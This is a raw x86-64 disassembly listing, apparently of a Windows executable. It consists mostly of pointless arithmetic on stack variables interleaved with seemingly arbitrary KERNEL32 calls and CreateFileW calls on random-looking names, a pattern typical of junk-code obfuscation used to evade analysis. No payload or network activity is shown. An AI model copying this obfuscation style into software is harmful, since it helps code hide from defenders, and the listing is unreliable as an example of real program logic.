mov byte [rsp + 0x598], al
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x2bd8]
sub eax, ecx
mov word [rsp + 0x1268], ax
lea rax, [rsp + 0x12870]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x9268]
mov r8d, 0xc9
mov dx, 0x40
mov rcx, qword [rsp + 0x12808]
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
mov dword [rsp + 0x922c], eax
movzx eax, byte [rsp + 0x596]
movzx ecx, byte [rsp + 0x597]
add eax, ecx
mov byte [rsp + 0x599], al
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x7c70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9200], eax
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [rsp + 0x91dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12810]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x127c0], rax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x25b8]
add eax, ecx
mov word [rsp + 0x2bdc], ax
mov rdx, qword [rsp + 0x12878]
mov ecx, 0x8f
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov dword [rsp + 0x9220], eax
movzx ecx, word [rsp + 0x2bd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bcc], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12880], rax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [0x14027d370]
mov rdx, qword [rsp + 0x11420]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140231397
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov qword [0x1402c4180], rax
movzx eax, byte [rsp + 0x599]
mov byte [rsp + 0x59a], al
cmp dword [rsp + 0x9228], 0xdd22
ja 0x14001a724
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x11420], rax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [0x14027d37c]
sub eax, ecx
mov word [rsp + 0x2bc0], ax
movzx eax, byte [rsp + 0x59a]
movzx ecx, byte [rsp + 0x597]
add eax, ecx
mov byte [rsp + 0x596], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rdx, [rsp + 0x2d810]
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9254], eax
movzx eax, word [rsp + 0x2bd8]
movzx ecx, word [rsp + 0x1268]
sub eax, ecx
mov word [rsp + 0x2ac0], ax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12810]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x127c0], rax
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [rsp + 0x91fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
lea rcx, [rsp + 0x28338]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x12868]
mov ecx, dword [0x1402c4188]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9200], eax
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [rsp + 0x598]
sub eax, ecx
mov byte [0x14027d038], al
lea rdx, [rsp + 0x2d7d8]
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x926c], eax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11420]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc8]
xor eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x12810]
movzx ecx, al
mov rax, qword [rsp + 0x127d8]
shr rax, cl
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2bd8]
movzx ecx, word [rsp + 0x1268]
shl eax, cl
mov word [rsp + 0x2ac0], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x127d0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x11420], rax
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [rsp + 0x9230]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9200], eax
mov rax, qword [rsp + 0x127c0]
mov rcx, qword [rsp + 0x127d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x12810], rax
movzx eax, byte [rsp + 0x599]
movzx ecx, byte [rsp + 0x597]
add eax, ecx
mov byte [rsp + 0x596], al
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x1268]
add eax, ecx
mov word [0x14027d380], ax
movsx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x11420]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x127d0], rax
mov edx, 0x56fb9b
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x9244], eax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x127d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x11420], rax
movzx eax, byte [rsp + 0x599]
movzx ecx, byte [rsp + 0x595]
xor eax, ecx
mov byte [rsp + 0x597], al
mov eax, dword [rsp + 0x91dc]
movzx ecx, al
mov eax, dword [rsp + 0x8d74]
shr eax, cl
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127c0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x127d8], rax
mov eax, dword [rsp + 0x9228]
add eax, 0xaf
mov dword [rsp + 0x9228], eax
movsx eax, byte [rsp + 0x549]
movsx ecx, byte [rsp + 0x36d]
shl eax, cl
mov byte [rsp + 0x598], al
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9200]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
lea rdx, [rsp + 0x12848]
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x9244], eax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x1268]
sub eax, ecx
mov word [0x14027d380], ax
movzx eax, word [rsp + 0x2bd8]
movzx ecx, word [rsp + 0x2ac0]
add eax, ecx
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bdc]
add eax, ecx
mov word [rsp + 0x2bc0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
movsx eax, word [rsp + 0x2bc4]
movsx ecx, word [rsp + 0x2bc8]
add eax, ecx
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
jmp 0x14001a329
movsx eax, word [rsp + 0x2bdc]
mov dword [rsp + 0x9270], eax
cmp dword [rsp + 0x9270], 0x6000
je 0x14001a745
jmp 0x14001a832
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x596]
and eax, ecx
mov byte [rsp + 0x599], al
mov eax, dword [rsp + 0x91fc]
imul eax, dword [rsp + 0x91dc]
mov dword [rsp + 0x8d74], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.4tpAyrfasAW0nR1dnKXddFxqBCmEP1GeCT7sG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12888], rax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov qword [rsp + 0x12890], rax
mov dword [rsp + 0x9274], 0x4743
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x9200]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7c70], eax
lea rax, [rsp + 0x127d0]
mov qword [rsp + 0x12898], rax
lea rax, [0x14027d37c]
mov qword [0x1402c4178], rax
movsx eax, word [rsp + 0x1d4c]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2800], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
jmp 0x14001a929
lea rax, [rsp + 0x127e0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x12868]
mov r8d, 0xb8
lea rdx, [rsp + 0x9200]
mov rcx, qword [rsp + 0x12808]
call qword [sym.imp.KERNEL32.dll_BackupWrite]
mov dword [rsp + 0x922c], eax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x2bd8]
sub eax, ecx
mov word [rsp + 0x1268], ax
movzx eax, byte [rsp + 0x59a]
movzx ecx, byte [rsp + 0x595]
add eax, ecx
mov byte [rsp + 0x597], al
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x12898]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x11420], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x11420], rax
movsx eax, word [rsp + 0x2bc4]
movsx ecx, word [rsp + 0x2800]
sar eax, cl
mov word [rsp + 0x2bdc], ax
movzx r8d, byte [0x1402c418c]
movzx edx, byte [rsp + 0x549]
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rax]
call fcn.140231c40
movsx eax, byte [rsp + 0x549]
movsx ecx, byte [rsp + 0x36d]
shl eax, cl
mov byte [rsp + 0x598], al
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x1402c4180]
mov rdx, qword [rsp + 0x12810]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x140231143
movsx eax, word [rsp + 0x2bc4]
mov rcx, qword [0x1402c4178]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov eax, dword [rsp + 0x9224]
add eax, 0x87
mov dword [rsp + 0x9224], eax
movzx eax, word [0x14027d380]
movzx ecx, word [rsp + 0x2ac0]
sub eax, ecx
mov word [rsp + 0x2bd8], ax
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [rsp + 0x549]
sub eax, ecx
mov byte [rsp + 0x598], al
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x12898]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d0], rax
mov eax, dword [rsp + 0x91dc]
mov ecx, dword [rsp + 0x9220]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x91fc], eax
mov eax, dword [rsp + 0x7c70]
mov ecx, dword [rsp + 0x9200]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12868]
mov dword [rcx], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127d8]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1402c4180], rax
movzx eax, word [rsp + 0x2bd8]
movzx ecx, word [0x14027d380]
sar eax, cl
mov word [rsp + 0x1268], ax
movzx eax, byte [rsp + 0x599]
movzx ecx, byte [rsp + 0x596]
or eax, ecx
mov byte [rsp + 0x59a], al
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [0x1402c4178]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x11420]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d0], rax
mov rax, qword [0x14027d370]
mov rcx, qword [rsp + 0x11420]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [0x1402c4178]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
mov rax, qword [rsp + 0x127c0]
mov rcx, qword [rsp + 0x127d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12890], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x9200]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7c70], eax
mov eax, dword [rsp + 0x9220]
mov ecx, dword [rsp + 0x8d74]
add ecx, eax
mov eax, ecx
mov dword [0x14027d378], eax
movzx eax, byte [rsp + 0x596]
movzx ecx, byte [rsp + 0x59a]
add eax, ecx
mov byte [rsp + 0x599], al
movzx eax, word [0x14027d380]
movzx ecx, word [rsp + 0x2bd8]
add eax, ecx
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x127d0], rax
movsx eax, byte [rsp + 0x549]
movsx ecx, byte [rsp + 0x598]
and eax, ecx
mov byte [rsp + 0x36d], al
movsx eax, word [rsp + 0x1d4c]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bdc], ax
xor r9d, r9d
lea r8, [rsp + 0x12838]
mov rdx, qword [rsp + 0x128a0]
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x9254], eax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x1268]
xor eax, ecx
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402c4188]
shl eax, cl
mov dword [rsp + 0x9200], eax
mov eax, dword [rsp + 0x91fc]
mov ecx, dword [rsp + 0x9230]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127d8]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1402c4180], rax
cmp dword [rsp + 0x9224], 0xe129
jne 0x14001a976
movzx eax, byte [rsp + 0x597]
mov byte [rsp + 0x59b], al
mov dword [rsp + 0x9278], 0x45fb
movzx eax, word [rsp + 0x2bd8]
movzx ecx, word [rsp + 0x1268]
add eax, ecx
mov word [rsp + 0x2ac0], ax
lea rax, [rsp + 0x2bc8]
mov qword [rsp + 0x128a8], rax
movzx eax, byte [rsp + 0x599]
movzx ecx, byte [rsp + 0x596]
imul eax, ecx
mov byte [rsp + 0x59b], al
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov qword [rsp + 0x128b0], rax
cmp qword [rsp + 0x128b0], 0
je 0x14001adab
movabs rax, 0x791f0c4712177c
cmp qword [rsp + 0x128b0], rax
je 0x14001ad2d
jmp 0x1402310c8
mov rax, qword [rsp + 0x12810]
mov rcx, qword [rsp + 0x127d8]
add rcx, rax
mov rax, rcx
mov qword [0x1402c4180], rax
mov r8d, reloc.SHELL32.dll_ILFree
mov rdx, qword [rsp + 0x12870]
mov rcx, qword [rsp + 0x127c8]
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov dword [rsp + 0x927c], eax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc4]
sub eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x595]
sub eax, ecx
mov byte [rsp + 0x59b], al
jmp 0x1402310c8
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov dword [rsp + 0x9280], eax
cmp dword [rsp + 0x9280], 0x1773
je 0x14001adcb
jmp 0x14001ae23
mov r8d, 0x78
mov rdx, qword [rsp + 0x128b8]
mov rcx, qword [rsp + 0x128c0]
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov dword [rsp + 0x8d74], eax
movzx eax, byte [rsp + 0x597]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x9220]
movzx r8d, byte [rsp + 0x596]
movzx edx, byte [rsp + 0x598]
mov ecx, dword [0x14027d378]
call fcn.140231ac0
jmp 0x140231095
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov qword [rsp + 0x128c8], rax
movzx eax, byte [rsp + 0x598]
mov byte [rsp + 0x9284], al
cmp byte [rsp + 0x9284], 0xfc
je 0x14001af63
cmp byte [rsp + 0x9284], 0x6c
je 0x14001ae62
jmp 0x14001b003
movzx eax, byte [rsp + 0x596]
movzx ecx, byte [rsp + 0x595]
xor eax, ecx
mov byte [rsp + 0x59b], al
mov eax, dword [rsp + 0x9200]
movzx ecx, al
mov eax, dword [0x1402c4188]
sar eax, cl
mov dword [rsp + 0x7c70], eax
mov eax, dword [0x14027d378]
movzx ecx, al
mov eax, dword [rsp + 0x8d74]
shl eax, cl
mov dword [rsp + 0x91fc], eax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d8]
or rcx, rax
mov rax, rcx
mov qword [0x1402c4180], rax
movzx eax, word [rsp + 0x2bd8]
movzx ecx, word [rsp + 0x2ac0]
and eax, ecx
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [0x1402c4178]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
lea rax, [rsp + 0x128d0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x12808]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x12810]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x3a
xor r9d, r9d
mov r8d, SHSetInstanceExplorer
lea rdx, [rsp + 0x11420]
mov rcx, qword [rsp + 0x128d0]
call qword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
mov dword [rsp + 0x9288], eax
jmp 0x14001b003
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10f18], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.jKhanotJIDAAb8JmdS44XgJlp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x128d8], rax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [0x14027d380]
and eax, ecx
mov word [rsp + 0x1268], ax
movzx eax, word [rsp + 0x2800]
mov word [rsp + 0x2be0], ax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x596]
imul eax, ecx
mov byte [rsp + 0x599], al
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [rsp + 0x91fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
mov eax, dword [rsp + 0x7c70]
mov dword [rsp + 0x928c], eax
movzx eax, byte [rsp + 0x59b]
movzx ecx, byte [rsp + 0x595]
sub eax, ecx
mov byte [0x14027d039], al
movsx eax, byte [rsp + 0x598]
movsx ecx, byte [rsp + 0x549]
add eax, ecx
movsx ecx, byte [rsp + 0x36d]
movsx edx, byte [0x14027d038]
add ecx, edx
cmp eax, ecx
jle 0x140231008
movzx eax, byte [rsp + 0x595]
movzx ecx, byte [rsp + 0x597]
sar eax, cl
mov byte [rsp + 0x599], al
movzx eax, word [rsp + 0x2bd8]
movzx ecx, word [0x14027d380]
cdq
idiv ecx
mov word [rsp + 0x2010], ax
mov rax, qword [rsp + 0x127d0]
mov rcx, qword [rsp + 0x12898]
mov qword [rsp + 0x128e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x128e0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10f18], rax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov dword [rsp + 0x9290], eax
cmp dword [rsp + 0x9290], 0x5f6
je 0x14001b1f2
cmp dword [rsp + 0x9290], 0x6000
je 0x14001b106
jmp 0x14001b27c
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov dword [rsp + 0x9294], eax
cmp dword [rsp + 0x9294], 0x5bf2
je 0x14001b129
jmp 0x14001b1b2
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x10f18]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x128c8], rax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12890], rax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x9200]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91e8], eax
mov eax, dword [rsp + 0x9220]
mov ecx, dword [rsp + 0x91dc]
add ecx, eax
mov eax, ecx
mov dword [0x14027d378], eax
movzx eax, byte [rsp + 0x595]
movzx ecx, byte [rsp + 0x599]
add eax, ecx
mov byte [rsp + 0x59a], al
jmp 0x14001b1ed
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2be0], ax
mov dword [rsp + 0x9298], 0x7a4e
movzx eax, word [rsp + 0x2010]
mov word [rsp + 0x2be4], ax
jmp 0x14001b27c
mov rax, qword [rsp + 0x128c8]
mov rcx, qword [rsp + 0x127d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x11420], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [0x14027d370]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x127e0]
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov dword [rsp + 0x927c], eax
movzx r8d, byte [rsp + 0x36d]
movzx edx, byte [rsp + 0x598]
mov rcx, qword [rsp + 0x12810]
call fcn.140231c40
movzx eax, byte [rsp + 0x596]
movzx ecx, byte [rsp + 0x595]
sub eax, ecx
mov byte [rsp + 0x59b], al
cmp dword [rsp + 0x9274], 0x6a7c
je 0x14001b3df
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [0x1402c4188]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
mov rax, qword [rsp + 0x12810]
movzx ecx, al
mov rax, qword [rsp + 0x127c0]
shl rax, cl
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [rsp + 0x549]
or eax, ecx
mov byte [0x1402c418c], al
mov rax, qword [0x1402c4180]
mov rcx, qword [rsp + 0x127c0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x9274]
add eax, 0x7f
mov dword [rsp + 0x9274], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movzx eax, word [rsp + 0x2be4]
movzx ecx, word [rsp + 0x2bd8]
sar eax, cl
mov word [rsp + 0x1268], ax
movsx eax, word [rsp + 0x2bdc]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2be0], ax
movzx eax, word [rsp + 0x2be4]
movzx ecx, word [rsp + 0x2bd8]
sub eax, ecx
mov word [rsp + 0x1268], ax
movsx eax, word [rsp + 0x2bdc]
movsx ecx, word [rsp + 0x2bc0]
sub eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x596]
movzx ecx, byte [rsp + 0x59b]
sub eax, ecx
mov byte [rsp + 0x599], al
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12890]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d8], rax
mov eax, dword [rsp + 0x9200]
mov ecx, dword [rsp + 0x7c70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
jmp 0x14001b27c
cmp dword [rsp + 0x91f8], 0x3e07
je 0x14001b8c3
movsx eax, word [rsp + 0x25b8]
movsx ecx, word [rsp + 0x1d4c]
and eax, ecx
mov rcx, qword [0x1402c4178]
mov word [rcx], ax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [0x14027d380]
add eax, ecx
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2be0], ax
movzx eax, byte [rsp + 0x59b]
movzx ecx, byte [rsp + 0x595]
add eax, ecx
mov byte [rsp + 0x596], al
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x128c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10f18], rax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x11420]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x12898]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12898]
mov qword [rsp + 0x128e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x128e8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x11420], rax
movzx eax, byte [rsp + 0x59a]
movzx ecx, byte [rsp + 0x595]
shl eax, cl
mov byte [rsp + 0x597], al
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [rsp + 0x598]
and eax, ecx
mov byte [rsp + 0x549], al
mov dword [rsp + 0x20], 0x3be
mov r9d, 0x7c2
mov r8d, 0x11c4
mov edx, 0x3d0b
mov rcx, qword [rsp + 0x127e8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9234], eax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x928c]
sub ecx, eax
mov eax, ecx
mov dword [0x1402c4188], eax
mov eax, dword [rsp + 0x91dc]
mov ecx, dword [rsp + 0x8d74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9230], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12810]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127c0], rax
movsx eax, word [rsp + 0x25b8]
movsx ecx, word [rsp + 0x2bdc]
add eax, ecx
mov word [rsp + 0x2be0], ax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x2be4]
sub eax, ecx
mov word [rsp + 0x2010], ax
mov rcx, qword [rsp + 0x12860]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x926c], eax
movzx eax, byte [rsp + 0x59a]
movzx ecx, byte [rsp + 0x59b]
sub eax, ecx
mov byte [rsp + 0x596], al
movsx eax, word [rsp + 0x25b8]
movsx ecx, word [rsp + 0x2bc8]
and eax, ecx
mov word [rsp + 0x2bdc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movzx eax, word [rsp + 0x2010]
movzx ecx, word [rsp + 0x2ac0]
sub eax, ecx
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0x12868]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12868]
mov dword [rcx], eax
mov eax, dword [rsp + 0x91f8]
add eax, 0xe9
mov dword [rsp + 0x91f8], eax
mov eax, dword [rsp + 0x9220]
movzx ecx, al
mov eax, dword [rsp + 0x9230]
shl eax, cl
mov dword [0x14027d378], eax
mov rax, qword [rsp + 0x127d8]
mov rcx, qword [rsp + 0x127c0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x12810], rax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12898]
mov qword [rsp + 0x128f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x128f0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x128c8], rax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x596]
add eax, ecx
mov byte [rsp + 0x599], al
mov rax, qword [0x1402c4178]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d4c], ax
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11420]
